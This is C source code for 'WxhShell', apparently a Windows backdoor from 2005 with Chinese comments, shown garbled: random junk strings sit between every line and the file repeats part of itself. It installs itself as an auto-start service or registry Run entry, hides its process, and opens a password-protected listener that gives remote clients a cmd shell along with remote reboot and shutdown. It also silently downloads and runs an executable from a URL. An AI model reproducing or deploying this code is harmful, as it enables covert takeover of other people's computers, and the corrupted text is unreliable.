(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `n6/ A) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sobtz}A* 2%5?Fn= if (!NtQueryInformationProcess) return 0; %Mh Q
!z?0 :Jg hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .xEJaID\N if(!hProcess) return 0; `-o5&>'nf {>/)5AGs if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &2Q*1YXj R'L?Xn}3 CloseHandle(hProcess); {H+?z<BF< J,RDTXqn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !I~C0u if(hProcess==NULL) return 0; n3'dLJH| Ey'J]KVW HMODULE hMod; Vd21,~^>g char procName[255]; un6cD$cHr unsigned long cbNeeded; `%oIRuYG]j =rEA:Q`~w if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @^'$r&M `YU=~xQ CloseHandle(hProcess); 2yvVeo&3 #\LZ;&T'N if(strstr(procName,"services")) return 1; // 以服务启动 Nl
{7 V'j@K!)~xR return 0; // 注册表启动 JIMWMk;ot } o*-9J2V=J -3` "E%9 // 主模块 La9r int StartWxhshell(LPSTR lpCmdLine) a&C.= { 7lwTZ*rnY SOCKET wsl; M'DWu|dIBA BOOL val=TRUE; sXiv, int port=0; Xk?R mU6 struct sockaddr_in door; e{0L%%2K x~EKGoz3 if(wscfg.ws_autoins) Install(); Rjq a_hxrS %kq ^]S2O port=atoi(lpCmdLine); yc[(lq.^n g,=^'D if(port<=0) port=wscfg.ws_port; ;T>+, &L%Jy #= WSADATA data; PyFj@n if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'PpZ/ry$ srK53vKMHW if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 'y.JcS!| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ab@=cL~^ door.sin_family = AF_INET; {OCJ(^8i door.sin_addr.s_addr = inet_addr("127.0.0.1"); qU -!7=}7 door.sin_port = htons(port); nVXg,Jl :Jk33 N4y0 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7TpRCq# closesocket(wsl); (N0sE"_~I5 return 1; g8l5.Mpx } @o&Ytd;i ?Wa<AFXQ if(listen(wsl,2) == INVALID_SOCKET) { [Tp%"f1 closesocket(wsl); nv)))I\ return 1; w.uK?A>W, } hg8Be6G< Wxhshell(wsl); (ii(yz| WSACleanup(); s/t11; 4-V)_U#8 return 0; +ubnx{VC \2>?6zs } nvt$F%+ k;Hnu // 以NT服务方式启动 4H-j
.|e VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kYlg4 .~M { @1bH}QS DWORD status = 0; CW-A e DWORD specificError = 0xfffffff; _*E!gPO ^C7C$TZS serviceStatus.dwServiceType = SERVICE_WIN32; G6Nb{m serviceStatus.dwCurrentState = SERVICE_START_PENDING; NAJVr}4f serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7Cy<mS serviceStatus.dwWin32ExitCode = 0; 9B=1Yr[ serviceStatus.dwServiceSpecificExitCode = 0; Xa,\EEmQ serviceStatus.dwCheckPoint = 0; Kam]Mn' serviceStatus.dwWaitHint = 0; @5E,:)T*wR Ly>OLI0x_ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j5^-.sEEw if (hServiceStatusHandle==0) return; b#a@rh ,r`UBQ}? status = GetLastError(); X;VQEDMPU if (status!=NO_ERROR) :gf;} { k. GA8=]> serviceStatus.dwCurrentState = SERVICE_STOPPED; XYAmJ serviceStatus.dwCheckPoint = 0; .S7:;%qL6 serviceStatus.dwWaitHint = 0; uPLErO9Es[ serviceStatus.dwWin32ExitCode = status; m$:&P|!'p serviceStatus.dwServiceSpecificExitCode = specificError; kjE*9bUc SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q["t eo]DQ return; ehT%s+aUw } ~5 >[`) 55m<XC serviceStatus.dwCurrentState = SERVICE_RUNNING; Y(r@v serviceStatus.dwCheckPoint = 0; n8u*JeN serviceStatus.dwWaitHint = 0; !ni>\lZ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /oL8;:m } K5`Rk"s Jhy(x1% // 处理NT服务事件,比如:启动、停止 OipqoI2 VOID WINAPI NTServiceHandler(DWORD fdwControl) p3yU:q#A { 9$RIH\* switch(fdwControl) $iPP|Rw { +pp9d-n case SERVICE_CONTROL_STOP: CVQB"L serviceStatus.dwWin32ExitCode = 0; _kN*e:t serviceStatus.dwCurrentState = SERVICE_STOPPED; ;GOz>pg serviceStatus.dwCheckPoint = 0; NY!jwb@% serviceStatus.dwWaitHint = 0; fu]N""~ { ipjkZG@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); H~o <AmE0! } |"7Y52d return; .'d2J> ~N case SERVICE_CONTROL_PAUSE: 3n48 %5 serviceStatus.dwCurrentState = SERVICE_PAUSED; }ZzLs/v%X break; /;oqf4MF case SERVICE_CONTROL_CONTINUE: u
#~;&D*q serviceStatus.dwCurrentState = SERVICE_RUNNING; 5<+KR.W break; RH[+1z8 case SERVICE_CONTROL_INTERROGATE: JE;+T[I break; %e_"CS }; Qf@iU%G SetServiceStatus(hServiceStatusHandle, &serviceStatus); X3B{8qx_> } j *3}1L4P sbS~N*{E // 标准应用程序主函数 Ns=AjhLc z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZnfNQl[ { v>mn/a XUmR{A // 获取操作系统版本 aE/D*.0NI OsIsNt=GetOsVer(); lddp^ #f GetModuleFileName(NULL,ExeFile,MAX_PATH); cdTsRS;E |B^G:7c // 从命令行安装 Vmi{X b]< if(strpbrk(lpCmdLine,"iI")) Install(); ~uj;qq ln<]-)&C // 下载执行文件 6rX_-Mm6w if(wscfg.ws_downexe) { s>%Pd7: if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jd:B \%#![ WinExec(wscfg.ws_filenam,SW_HIDE); 1RqgMMJL } ,t,wy37*D k;Fh4Hv if(!OsIsNt) { \40YGFO // 如果时win9x,隐藏进程并且设置为注册表启动 &.N$ HideProc(); r;m`9,RW StartWxhshell(lpCmdLine); p#@Z$gTH`' } O#_b7i else <Kt3PyF if(StartFromService()) >M;u*Go`QO // 以服务方式启动 g^~Kze StartServiceCtrlDispatcher(DispatchTable); tju|UhP3 else &`!^Zq vG // 普通方式启动 aGoE,5 StartWxhshell(lpCmdLine); 7r
0,>
3" 0KvVw rWJ return 0; ,1UZv>}S } Qa`hR 11UB4CA tIuoD+AW nII^mg~ =========================================== %y<]Yzv. jirbUl glUo7^ay7 nH[+n `{o f3tv3>p *fc-gAj " c&'JmKV>& %fjuG #include <stdio.h> z#Nl@NO& #include <string.h> :`Az/U[ #include <windows.h> .EP6oKA #include <winsock2.h> `-UJ /{ #include <winsvc.h> 'Kbl3fUF #include <urlmon.h> QIU,!w-3X R;}22s #pragma comment (lib, "Ws2_32.lib") xWX*tJ4 #pragma comment (lib, "urlmon.lib") eon!CE0 AuiFbRFi #define MAX_USER 100 // 最大客户端连接数 S h4wqf #define BUF_SOCK 200 // sock buffer <7sIm^N #define KEY_BUFF 255 // 输入 buffer K_BPZ5w ^TFs;|.. #define REBOOT 0 // 重启 r)T[(D'Tm- #define SHUTDOWN 1 // 关机 zO=%J)-= 'vIx#k4D1 #define DEF_PORT 5000 // 监听端口 [=%YV# O C>QIrZu #define REG_LEN 16 // 注册表键长度 D'[Uc6 #define SVC_LEN 80 // NT服务名长度 pwX C Z)"61)
) // 从dll定义API {]}s#vvy typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @QEqB_W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0pgY1i7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 53OJ-m%a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V'gw\mcb 3f76kl(& // wxhshell配置信息 6][1<}8 struct WSCFG { =XY]x int ws_port; // 监听端口 ,^'R_efY char ws_passstr[REG_LEN]; // 口令 &h~aChJ int ws_autoins; // 安装标记, 1=yes 0=no MXvXVhCU char ws_regname[REG_LEN]; // 注册表键名 ;%!m<S|%k char ws_svcname[REG_LEN]; // 服务名 [rYT char ws_svcdisp[SVC_LEN]; // 服务显示名 _|{aC1Y!V char ws_svcdesc[SVC_LEN]; // 服务描述信息 !?FK We char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1s7^uA$}6 int ws_downexe; // 下载执行标记, 1=yes 0=no 2k
-+^}r char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C !x/
^gw char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E^Gg
'1 %{5n1w }; HgRwiIt gn1(4
o // default Wxhshell configuration l=P'B
@, struct WSCFG wscfg={DEF_PORT, eC`pnE "xuhuanlingzhe", ljJ>;g+ 1, z3?\:Yz "Wxhshell", `NNf&y)y "Wxhshell", 6f%DpJ:$U "WxhShell Service", RMXzU "Wrsky Windows CmdShell Service", yJJ4~j){l "Please Input Your Password: ", EeQ5vqU 1, yJ2B3i@T4 "http://www.wrsky.com/wxhshell.exe", JBX[bx52<r "Wxhshell.exe" dZ(|uC!? }; 4dh+ Ca>& // 消息定义模块 vK'?:}~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LXfCmc9|Z char *msg_ws_prompt="\n\r? for help\n\r#>"; 5\4g>5PD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K%g;NW char *msg_ws_ext="\n\rExit."; 5z/Er".P char *msg_ws_end="\n\rQuit."; )mN9(Ob! char *msg_ws_boot="\n\rReboot..."; ~6[*q~B char *msg_ws_poff="\n\rShutdown..."; e$/B_o7( char *msg_ws_down="\n\rSave to "; u\e\'\ zA+@FR? char *msg_ws_err="\n\rErr!"; 2%UBwSiqR char *msg_ws_ok="\n\rOK!"; i u]&; tpf7_YP_!- char ExeFile[MAX_PATH]; +C{p%`< int nUser = 0; z01>' HANDLE handles[MAX_USER]; (!K_Fy@ int OsIsNt; Oe]&( E+xuWdp.* SERVICE_STATUS serviceStatus; pw020}` SERVICE_STATUS_HANDLE hServiceStatusHandle; i^"+5Eq[D $p* p // 函数声明 =[tSd)D,y int Install(void); 2 h|e int Uninstall(void); (M-ZQ
- int DownloadFile(char *sURL, SOCKET wsh); H#d:kil Ny int Boot(int flag); i8pU|VpA void HideProc(void); {U11^w1"3 int GetOsVer(void); b\55,La int Wxhshell(SOCKET wsl); Jobiq]|> void TalkWithClient(void *cs); U]4pA#*{| int CmdShell(SOCKET sock); v:_B kHN' int StartFromService(void); l:(Rb-Wy int StartWxhshell(LPSTR lpCmdLine); iZ,YxN<R 6tjcAsV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4&^9Wklj VOID WINAPI NTServiceHandler( DWORD fdwControl ); j .A6S` p9ZXbAJ{ // 数据结构和表定义 7S^""*Q^ SERVICE_TABLE_ENTRY DispatchTable[] = !fkep= { akuJz {wscfg.ws_svcname, NTServiceMain}, E@)\Lc~ {NULL, NULL} n-;y*kD }; =bt]JRU >`T5]_a // 自我安装 ]> !<G8=N int Install(void) h1"zV6U { deX5yrvOie char svExeFile[MAX_PATH]; )h$NS2B` HKEY key; Vd9@Dy strcpy(svExeFile,ExeFile); <eN R8(P 2ef;NC.&n // 如果是win9x系统,修改注册表设为自启动 [bQj,PZ& if(!OsIsNt) { in%;Eqk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PH4%R]{8{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wa"(m*hW RegCloseKey(key); ;GHvPQc_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g^>#^rLU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v Y|! RegCloseKey(key); V_^@ return 0; ~[PKcEX } -`c:}m } 6)gd^{ } kAzd8nJ' else { T)CzK<LbR ^(x^6d // 如果是NT以上系统,安装为系统服务 <I*x0BM= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 748CD{KxW if (schSCManager!=0) mz7l'4']+ { wwd'0P`/ SC_HANDLE schService = CreateService 2h^WYpCm ( I?!rOU=0
schSCManager, - 0HkT Y wscfg.ws_svcname, 5ua?I9fY wscfg.ws_svcdisp, ,5k-.Md>2* SERVICE_ALL_ACCESS, I0= NaZ7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "i)Yvh[y SERVICE_AUTO_START, ffDc6*.Q SERVICE_ERROR_NORMAL, mXWTm%'[ svExeFile, < a rZbM NULL, &x:JD1T} NULL, ztM<J+ NULL, wzcai
0y* NULL, USML~]G
z NULL v[k5.\No ); \&xl{64 if (schService!=0) g9h(sLSF { 25{ uz CloseServiceHandle(schService); XFZ~ #DT& CloseServiceHandle(schSCManager); }2>"<) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qB6dFl\ ( strcat(svExeFile,wscfg.ws_svcname); <|6%9@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0&Gl@4oZ" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M++0zhS RegCloseKey(key); y&T&1o return 0; (g8*d^u#PO } tl8O6`<Z } m7]hJ,0 CloseServiceHandle(schSCManager); [G|mY6F^ } Y#V8(DTyH } >
dZ3+f !4#"!Md4o return 1; P1kB>"bR } 0`#(Toe{B =odkz}bU // 自我卸载 H:&?ha,9 int Uninstall(void) >O`l8tM { eBW=^B"y+ HKEY key; %B2XznZ: P!g-X%ngo if(!OsIsNt) { X~T/qFS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C"<s/h RegDeleteValue(key,wscfg.ws_regname); TvhJVVQ+? RegCloseKey(key); N0TeqOi4Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Iq5pAHm>M6 RegDeleteValue(key,wscfg.ws_regname); b}z`BRCc RegCloseKey(key); 6Y*;{\Rd return 0; RNJFSD. } Va<HU:< } jRZ%}KX } 0NE{8O0;Fr else { 5a`%)K |WQ9a' ' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O_,O,1 if (schSCManager!=0) &]p}+{ (> { ".2K9j7$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f_mhD dq if (schService!=0) j.?:Gaab?# { @uleyB if(DeleteService(schService)!=0) { 3 x*z\VJ CloseServiceHandle(schService); 0~A#>R' CloseServiceHandle(schSCManager); eb:A1f4L return 0; <>&=n+i } {eZ{] CloseServiceHandle(schService); t1]6(@mj5 } qk{'!Ii CloseServiceHandle(schSCManager); %HuyK } f4t.f*# } Gm8E<iTP pK_?}~ return 1; 9(1rh9`= } #*$p-I= D@54QJ< // 从指定url下载文件 J\co1kO9/ int DownloadFile(char *sURL, SOCKET wsh) n@>wwp { $^% N U HRESULT hr; 0%C^8%(x char seps[]= "/"; A*]$v char *token; 8v_C5d\ char *file; x1[?5n6 char myURL[MAX_PATH]; S>:,z}i char myFILE[MAX_PATH]; W:s@L#- **;p(CI strcpy(myURL,sURL); 7}
O;FX+x token=strtok(myURL,seps); eD#XDK while(token!=NULL) [I+9dSM1t {
'ig, ATY file=token; _9If/RD token=strtok(NULL,seps); gT52G?- } 4YA./j%' ur%$aX) GetCurrentDirectory(MAX_PATH,myFILE); y;`eDS'0.N strcat(myFILE, "\\"); wz(K*FP strcat(myFILE, file); 'imU`zeo send(wsh,myFILE,strlen(myFILE),0); p]|LV)R n send(wsh,"...",3,0); *o?i:LE] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a:!uORQby if(hr==S_OK) pa/9F[ return 0; #gZ|T
M/h else ~9M!)\~ return 1; UZxmhsv [~%`N*G } &w\I<J`T yXfMzG // 系统电源模块 o#hI5 int Boot(int flag) KX+ey8@[ { H#(<-)j0_ HANDLE hToken; "ED8z|]j TOKEN_PRIVILEGES tkp; :{}_|]>K !q/5yEJ>h if(OsIsNt) {
M[P^]J@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); POd/+e9d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bg7n tkp.PrivilegeCount = 1; 05e>\}{0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wr%7~y*K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I48VNX if(flag==REBOOT) { ,@CfVQz if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4('JwZw\! return 0; k=n
"+ } 9C}qVoNu else { {U @3yB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &"S/Lt return 0; ?l6jG } &^QPkX@p } AlX3Wv} else { :=!Mh}i if(flag==REBOOT) { DdjCn`jqlf if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YMzBAf return 0; Go8F5a@j } BQrL7y else { o}D![/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *@M3p}',M return 0; %J P!{mqj } 3'#%c>_ } 8 njuDl X#J6Umutm return 1; \ lr/;-zP } (cV rw u3Nb // win9x进程隐藏模块 *o4%ul\3Y| void HideProc(void) J_"3UZ~& { {BOLPE- rz HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (2txM"Dja if ( hKernel != NULL ) PZOORjF8A { I'_v{k5ZI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &L3#:jSk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )x\z@g FreeLibrary(hKernel); 5'
\)` } OgMI +VOb return; *\q8BZ } rg)h5G AzjMv6N // 获取操作系统版本 e- 6(F4 int GetOsVer(void) [m#NfA:h, { xs1bxJ_R OSVERSIONINFO winfo; kK?zVH-! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Bw-s6MS GetVersionEx(&winfo); K2|7% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &oN/_7y return 1; fM":f|
G else P|}\/}{` return 0; E+{5-[Zc*$ } -Bv12ymLG bXvbddu)} // 客户端句柄模块 ,}7_[b)&V int Wxhshell(SOCKET wsl) 1uM/2sX { ua#K>sur. SOCKET wsh; fv?45f struct sockaddr_in client; R}k69-1vL DWORD myID; pt})JMm (#u{ U= while(nUser<MAX_USER) }tR'Hz2 { qJ Gm8^b- int nSize=sizeof(client); =]KIkS 3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e^frVEV if(wsh==INVALID_SOCKET) return 1; 7^wE$7hS cjY@Ot*i$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4A o{M if(handles[nUser]==0) ND,`QjmZ closesocket(wsh); 9[{sEg=C$e else 3^ ~Zj95M nUser++; Czh8zB+r } Mjw[:70 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~d+O/:=K_ .0
X$rX= return 0; lC{L6&T } 04\Ta FO^24p // 关闭 socket ?*o;o?5s^ void CloseIt(SOCKET wsh) LDX y}hm) { fLM.kCD?u closesocket(wsh); +$~8)95<B nUser--; ZgBckb ExitThread(0); |Gc&1*$ } npj5U/
RpeBm#E2 // 客户端请求句柄 'FxYMSZS$ void TalkWithClient(void *cs) m)k-uWc$C { I}%mfojC }K;iJ~kD1 SOCKET wsh=(SOCKET)cs; L8Dm9} char pwd[SVC_LEN]; 3N3*`?5c< char cmd[KEY_BUFF]; kA,4$2_o char chr[1]; JP%RTGu int i,j; l#ygb|=x y4r2}8fi while (nUser < MAX_USER) { @Yarz1 `skH-lk, if(wscfg.ws_passstr) { $w `veP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ck~ '`<7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =W|vOfy //ZeroMemory(pwd,KEY_BUFF); "c EvFY i=0; 8J^d7uC while(i<SVC_LEN) { +7^w9G i&pMF O // 设置超时 Ej5^Y ?-6 fd_set FdRead; #:I^&~:
struct timeval TimeOut; N.vG]%1" FD_ZERO(&FdRead); d3(+ztmG! FD_SET(wsh,&FdRead); 2{gwY85: TimeOut.tv_sec=8; -s33m]a; TimeOut.tv_usec=0; V^WQ6G1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oE 5;|x3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }Fz!6F2w vcV!K^M- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 30BR0C pwd=chr[0]; <L%HG if(chr[0]==0xd || chr[0]==0xa) { lXw;|dGF pwd=0; vhX-Qk t} break; 1"d\mE } +> ^[W~[2 i++; xpz`))w } qs "s/$ 6T]Q.\5BZ // 如果是非法用户,关闭 socket fGG
9zB6 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e00RT1L } v$Dh.y ^X$
I= ro send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T77)Np send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [e1\A&T g\qX7nIH? while(1) { jigbeHRy y]MWd#U ZeroMemory(cmd,KEY_BUFF); [ns&Y0Y`t _3I3AG0e // 自动支持客户端 telnet标准 @X|ok*v` j=0; <BQ%8} while(j<KEY_BUFF) { %{Xm5#m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lq%[A*`^ cmd[j]=chr[0]; 65uZLsQ if(chr[0]==0xa || chr[0]==0xd) { -z&9DWH cmd[j]=0; 83B\+]{hD break; ;+r0
O0;9 } rrbZ+*U j++; Re7{[*Q4 } +6uOg,; Fu#Y7)r // 下载文件 +OKA_b"wB if(strstr(cmd,"http://")) { 1RmBtx\< send(wsh,msg_ws_down,strlen(msg_ws_down),0); dPRtN@3 if(DownloadFile(cmd,wsh)) z=u~]:.1O send(wsh,msg_ws_err,strlen(msg_ws_err),0); +7`u9j. else l;XUh9RF`A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FU^Y{sbDg } 9'D8[p% else { o:h)~[n| FyQOa) 5 switch(cmd[0]) { ZV0)
."^Z #cR57=M} // 帮助 pVdhj^n case '?': { kWI]fZ_n send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qh/lT$g break; TeOFAIU } ?exALv'B // 安装 cPx66Dh& case 'i': { K,Lr+ if(Install()) _CHKh*KHML send(wsh,msg_ws_err,strlen(msg_ws_err),0); |.^^|@+ else FLw[Mg:L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % cU-5\xF break; [ e$]pN% } XA=|]5C // 卸载 no eb f case 'r': { 0m
qSA if(Uninstall()) jY1^+y{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); (L]T*03# else ~4l6unCI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "X\q%%P=? break; h<t<]i' } T@2f&Un^ // 显示 wxhshell 所在路径 /M5=tW#e case 'p': { "#[o?_GaJ char svExeFile[MAX_PATH]; h]G6~TYI5 strcpy(svExeFile,"\n\r"); 3 t~X: strcat(svExeFile,ExeFile); N;%j#(v
j send(wsh,svExeFile,strlen(svExeFile),0); /^nP_ID break; E>o&GYc } T9aTEsA[U // 重启 '&rw=.cU case 'b': { "-G.V#zI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NHst7$Y< if(Boot(REBOOT)) >?H_A send(wsh,msg_ws_err,strlen(msg_ws_err),0); :0i#=ODR else { wI|bBfd( closesocket(wsh); ZS07_6.~ ExitThread(0); Rt*-#`I
$ } eW<!^Aer break; E;ndw/GZjR } fo/(() // 关机 qg/Y;tGSx case 'd': { pmE1EDPag send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x'VeL| if(Boot(SHUTDOWN)) r%OrH-T send(wsh,msg_ws_err,strlen(msg_ws_err),0); W+fkWq7`Xx else { zW|$x<M^ closesocket(wsh); LA( f]Xmc ExitThread(0); XyN`BDFi } _p3WE9T break; cx,u2~43A& } ,i1 fv
" // 获取shell kW*W4{Fth case 's': { C={sE*&dYX CmdShell(wsh); q{N lF$X closesocket(wsh); B{=,VwaP_ ExitThread(0); uhPIV\ break; l%v hV& } >B|ofwm* // 退出 + xkMW%e< case 'x': { zwF7DnW<< send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6"#Tvj~-8 CloseIt(wsh); y0W`E/1t break; ?Vb=4B{~ } ^ ^U)WB // 离开 @DjG?yLK$ case 'q': { YQlpk@X`2 send(wsh,msg_ws_end,strlen(msg_ws_end),0); )[a?J, closesocket(wsh); zXA= se0U WSACleanup(); [bQ8A(u exit(1); ^+YGSg7 break; ^+.e5roBKj } IWSEssP } av$\@4I } #dXZA>b9 ?L.p9o-S0 // 提示信息 #oS if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vM$#m1L? } B%?|br } V3.vE, e3bAT.P return; [9# #Kb } 7i%P&oB m''i E // shell模块句柄 )Q N=>J int CmdShell(SOCKET sock) DXw9@b { v:!7n STARTUPINFO si; rSzXa4m( ZeroMemory(&si,sizeof(si)); c'VtRE# z~ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p5D3J[?N si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dh7)N}2 PROCESS_INFORMATION ProcessInfo; $(!D/bvJ char cmdline[]="cmd"; NC#kI3 { CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2T{-J!k return 0; wN%DM)*k } q,19NZ |R|U z` // 自身启动模式 V%Z[,C
u+ int StartFromService(void) 5#A1u
Nb { 3]5&&=# typedef struct cUX]tiC0 { HEW9YC" DWORD ExitStatus; VA*79I#_q DWORD PebBaseAddress; _<&K]e@dp DWORD AffinityMask; 7xa@wa?!L DWORD BasePriority; >H]|A<9u( ULONG UniqueProcessId; Q{)F$]w ULONG InheritedFromUniqueProcessId; CuGOjQ-k~ } PROCESS_BASIC_INFORMATION; 5>^ W}0s jmwQc& PROCNTQSIP NtQueryInformationProcess; .>\>F{#~ 67hPQ/S1 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T3PaG\5B static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /m|&nl8"qe q=L*
99S HANDLE hProcess; \q)1TTnHS PROCESS_BASIC_INFORMATION pbi; znDtM1sLeV rSFXchD/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~dX@5+Gd if(NULL == hInst ) return 0; NU6Kh7 4N^Qd3[d g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :j5 0]zLy{ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hghto
\G5Y NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x%Y a*T DqC}f# if (!NtQueryInformationProcess) return 0; `W;cft4 ]idD&5gd hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %W|Zj QI^ if(!hProcess) return 0; @XSu?+s) =M
km:'1r if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'V*M_o(\ dzC&7
